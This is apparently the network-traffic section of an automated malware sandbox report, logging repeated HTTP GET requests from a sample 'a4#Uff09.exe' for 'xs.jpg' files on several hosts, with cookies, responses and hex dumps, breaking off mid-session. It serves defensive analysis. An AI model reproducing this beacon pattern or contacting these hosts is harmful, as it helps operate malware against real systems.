                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          130192.168.2.74984754.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:57.670447111 CEST312OUTGET /images/xs.jpg?da83e528=-1365045656 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159313|1720159208|4|24|0
                                                          Jul 5, 2024 08:01:58.403701067 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:58 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          131192.168.2.74984844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:58.427629948 CEST301OUTGET /xs.jpg?dfb790c0=-37976576 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159314|1720159209|4|24|0
                                                          Jul 5, 2024 08:01:58.952780962 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:58 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          132192.168.2.74984944.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:59.595777035 CEST305OUTGET /images/xs.jpg?e4813b52=1065918270 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159315|1720159210|4|24|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:02:00.082250118 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:00 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          133192.168.2.74985078.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:00.092504025 CEST192OUTGET /xs.jpg?e8e7cd9a=1195273424 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:00.766910076 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:02:00 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          134192.168.2.74985137.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:00.871300936 CEST206OUTGET /images/xs2.jpg?efa78aa1=-1645396026 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:01.580631971 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:02:01 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          135192.168.2.74985237.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:02.112323046 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:02:02.771811008 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:02:02 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:02:02 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          136192.168.2.74985354.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:02.941706896 CEST311OUTGET /images/xs.jpg?fbcb7f39=-423298218 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159318|1720159208|4|25|0
                                                          Jul 5, 2024 08:02:03.694334984 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:03 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          137192.168.2.74985444.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:03.711586952 CEST300OUTGET /xs.jpg?30c6233=409145752 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159318|1720159209|4|25|0
                                                          Jul 5, 2024 08:02:04.216810942 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:04 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          138192.168.2.74985544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:04.345788002 CEST303OUTGET /images/xs.jpg?a319847=342044814 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159320|1720159210|4|25|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:02:04.853713989 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:04 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          139192.168.2.74985678.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:04.886055946 CEST191OUTGET /xs.jpg?fd2ec80=1327406720 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:05.548305988 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:02:05 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          140192.168.2.74985737.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:05.624702930 CEST205OUTGET /images/xs2.jpg?16ed0657=-833275633 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:02:06.372757912 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:02:06 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          141192.168.2.74985837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:06.456671000 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:02:07.158402920 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:02:07 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:02:07 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          142192.168.2.74985954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:07.294106960 CEST310OUTGET /images/xs.jpg?21aa9ba6=223665456 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159323|1720159208|4|26|0
                                                          Jul 5, 2024 08:02:08.030283928 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:07 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159327|1720159208|4|27|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          143192.168.2.74986044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:08.093379021 CEST303OUTGET /xs.jpg?28fcab5b=-1544376980 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159324|1720159209|5|26|0
                                                          Jul 5, 2024 08:02:08.582402945 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:08 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159328|1720159209|4|27|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          144192.168.2.74986144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:09.146981955 CEST305OUTGET /images/xs.jpg?2eabe496=1566034220 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159324|1720159210|4|26|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:02:09.590249062 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:02:09 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159329|1720159210|4|27|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          145192.168.2.74986278.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:02:09.655495882 CEST193OUTGET /xs.jpg?32b2701b=-1743302575 HTTP/1.1
